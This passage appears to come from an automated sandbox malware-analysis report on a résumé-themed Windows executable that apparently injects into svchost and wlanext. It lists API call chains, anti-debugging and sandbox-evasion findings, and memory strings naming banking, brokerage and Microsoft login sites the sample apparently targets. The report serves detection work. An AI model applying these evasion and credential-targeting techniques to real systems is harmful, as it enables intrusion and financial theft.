                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038E714D push ebx; retf 5_2_038E719D
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038EF66D push esp; ret 5_2_038EF6A9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038EF5D0 push esp; ret 5_2_038EF6A9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038EB802 pushad ; retf 5_2_038EB816
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038E6863 push ss; iretd 5_2_038E687E
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_038E3CC8 push edi; ret 5_2_038E3D1B
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B88111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00B88111
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00B3EB42
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B4123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00B4123A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeAPI/Special instruction interceptor: Address: 14DF144
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818D324
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818D7E4
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818D944
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818D504
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818D544
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818D1E4
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF908190154
                Source: C:\Windows\SysWOW64\wlanext.exeAPI/Special instruction interceptor: Address: 7FF90818DA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AD1C0 rdtsc 2_2_034AD1C0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeEvaded block: after key decisiongraph_0-96018
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeEvaded block: after key decisiongraph_0-95034
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-95465
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeAPI coverage: 4.8 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\wlanext.exeAPI coverage: 2.9 %
                Source: C:\Windows\SysWOW64\wlanext.exe TID: 7724Thread sleep count: 40 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exe TID: 7724Thread sleep time: -80000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe TID: 7752Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe TID: 7752Thread sleep time: -36000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\wlanext.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B66CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00B66CA9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_00B660DD
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_00B663F9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00B6EB60
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00B6F5FA
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6F56F FindFirstFileW,FindClose,0_2_00B6F56F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B71B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00B71B2F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B71C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00B71C8A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B71F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00B71F94
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0325C590 FindFirstFileW,FindNextFileW,FindClose,5_2_0325C590
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00B3DDC0
                Source: 7390-mXL.5.drBinary or memory string: dev.azure.comVMware20,11696497155j
                Source: wlanext.exe, 00000005.00000002.3233050994.0000000008526000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,116
                Source: 7390-mXL.5.drBinary or memory string: global block list test formVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: turbotax.intuit.comVMware20,11696497155t
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
                Source: wlanext.exe, 00000005.00000002.3233050994.0000000008526000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ive Brokers - NDCDYNVMware20,11696497155z
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - HKVMware20,11696497155]
                Source: 7390-mXL.5.drBinary or memory string: secure.bankofamerica.comVMware20,11696497155|UE
                Source: 7390-mXL.5.drBinary or memory string: tasks.office.comVMware20,11696497155o
                Source: 7390-mXL.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155
                Source: wlanext.exe, 00000005.00000002.3228625011.000000000355E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000A.00000002.2053130324.000001A70BEAD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: ms.portal.azure.comVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: trackpan.utiitsl.comVMware20,11696497155h
                Source: 7390-mXL.5.drBinary or memory string: bankofamerica.comVMware20,11696497155x
                Source: BzEfnSVbdFtPTT.exe, 00000006.00000002.3229120246.000000000120F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
                Source: 7390-mXL.5.drBinary or memory string: interactivebrokers.co.inVMware20,11696497155d
                Source: 7390-mXL.5.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155x
                Source: 7390-mXL.5.drBinary or memory string: interactivebrokers.comVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: AMC password management pageVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155}
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
                Source: 7390-mXL.5.drBinary or memory string: account.microsoft.com/profileVMware20,11696497155u
                Source: 7390-mXL.5.drBinary or memory string: discord.comVMware20,11696497155f
                Source: wlanext.exe, 00000005.00000002.3233050994.0000000008526000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ebrokers.co.inVMware20,11696497155d
                Source: 7390-mXL.5.drBinary or memory string: netportal.hdfcbank.comVMware20,11696497155
                Source: 7390-mXL.5.drBinary or memory string: outlook.office.comVMware20,11696497155s
                Source: 7390-mXL.5.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
                Source: 7390-mXL.5.drBinary or memory string: outlook.office365.comVMware20,11696497155t
                Source: 7390-mXL.5.drBinary or memory string: www.interactivebrokers.comVMware20,11696497155}
                Source: 7390-mXL.5.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
                Source: 7390-mXL.5.drBinary or memory string: microsoft.visualstudio.comVMware20,11696497155x
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeAPI call chain: ExitProcess graph end nodegraph_0-94804
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AD1C0 rdtsc 2_2_034AD1C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417763 LdrLoadDll,2_2_00417763
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B76AAF BlockInput,0_2_00B76AAF
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B23D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00B23D19
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B53920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,0_2_00B53920
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3E01E LoadLibraryA,GetProcAddress,0_2_00B3E01E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_014DF3B0 mov eax, dword ptr fs:[00000030h]0_2_014DF3B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_014DF410 mov eax, dword ptr fs:[00000030h]0_2_014DF410
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_014DDD80 mov eax, dword ptr fs:[00000030h]0_2_014DDD80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]2_2_034B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342D34C mov eax, dword ptr fs:[00000030h]2_2_0342D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342D34C mov eax, dword ptr fs:[00000030h]2_2_0342D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03505341 mov eax, dword ptr fs:[00000030h]2_2_03505341
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429353 mov eax, dword ptr fs:[00000030h]2_2_03429353
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429353 mov eax, dword ptr fs:[00000030h]2_2_03429353
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]2_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]2_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]2_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B035C mov ecx, dword ptr fs:[00000030h]2_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]2_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]2_2_034B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FA352 mov eax, dword ptr fs:[00000030h]2_2_034FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF367 mov eax, dword ptr fs:[00000030h]2_2_034EF367
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034D437C mov eax, dword ptr fs:[00000030h]2_2_034D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03437370 mov eax, dword ptr fs:[00000030h]2_2_03437370
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03437370 mov eax, dword ptr fs:[00000030h]2_2_03437370
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03437370 mov eax, dword ptr fs:[00000030h]2_2_03437370
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B930B mov eax, dword ptr fs:[00000030h]2_2_034B930B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B930B mov eax, dword ptr fs:[00000030h]2_2_034B930B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B930B mov eax, dword ptr fs:[00000030h]2_2_034B930B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]2_2_0346A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]2_2_0346A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]2_2_0346A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342C310 mov ecx, dword ptr fs:[00000030h]2_2_0342C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03450310 mov ecx, dword ptr fs:[00000030h]2_2_03450310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F132D mov eax, dword ptr fs:[00000030h]2_2_034F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F132D mov eax, dword ptr fs:[00000030h]2_2_034F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345F32A mov eax, dword ptr fs:[00000030h]2_2_0345F32A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03427330 mov eax, dword ptr fs:[00000030h]2_2_03427330
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EC3CD mov eax, dword ptr fs:[00000030h]2_2_034EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]2_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]2_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]2_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]2_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]2_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]2_2_0343A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]2_2_034383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]2_2_034383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]2_2_034383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]2_2_034383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B63C0 mov eax, dword ptr fs:[00000030h]2_2_034B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EB3D0 mov ecx, dword ptr fs:[00000030h]2_2_034EB3D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF3E6 mov eax, dword ptr fs:[00000030h]2_2_034EF3E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035053FC mov eax, dword ptr fs:[00000030h]2_2_035053FC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]2_2_034403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]2_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]2_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]2_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034663FF mov eax, dword ptr fs:[00000030h]2_2_034663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]2_2_0342E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]2_2_0342E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]2_2_0342E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]2_2_0345438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]2_2_0345438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350539D mov eax, dword ptr fs:[00000030h]2_2_0350539D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0348739A mov eax, dword ptr fs:[00000030h]2_2_0348739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0348739A mov eax, dword ptr fs:[00000030h]2_2_0348739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]2_2_03428397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]2_2_03428397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]2_2_03428397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034533A5 mov eax, dword ptr fs:[00000030h]2_2_034533A5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034633A0 mov eax, dword ptr fs:[00000030h]2_2_034633A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034633A0 mov eax, dword ptr fs:[00000030h]2_2_034633A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429240 mov eax, dword ptr fs:[00000030h]2_2_03429240
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429240 mov eax, dword ptr fs:[00000030h]2_2_03429240
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B8243 mov eax, dword ptr fs:[00000030h]2_2_034B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B8243 mov ecx, dword ptr fs:[00000030h]2_2_034B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346724D mov eax, dword ptr fs:[00000030h]2_2_0346724D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342A250 mov eax, dword ptr fs:[00000030h]2_2_0342A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EB256 mov eax, dword ptr fs:[00000030h]2_2_034EB256
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EB256 mov eax, dword ptr fs:[00000030h]2_2_034EB256
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03436259 mov eax, dword ptr fs:[00000030h]2_2_03436259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]2_2_03434260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]2_2_03434260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]2_2_03434260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FD26B mov eax, dword ptr fs:[00000030h]2_2_034FD26B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FD26B mov eax, dword ptr fs:[00000030h]2_2_034FD26B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342826B mov eax, dword ptr fs:[00000030h]2_2_0342826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03459274 mov eax, dword ptr fs:[00000030h]2_2_03459274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03471270 mov eax, dword ptr fs:[00000030h]2_2_03471270
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03471270 mov eax, dword ptr fs:[00000030h]2_2_03471270
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]2_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03467208 mov eax, dword ptr fs:[00000030h]2_2_03467208
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03467208 mov eax, dword ptr fs:[00000030h]2_2_03467208
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03505227 mov eax, dword ptr fs:[00000030h]2_2_03505227
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342823B mov eax, dword ptr fs:[00000030h]2_2_0342823B
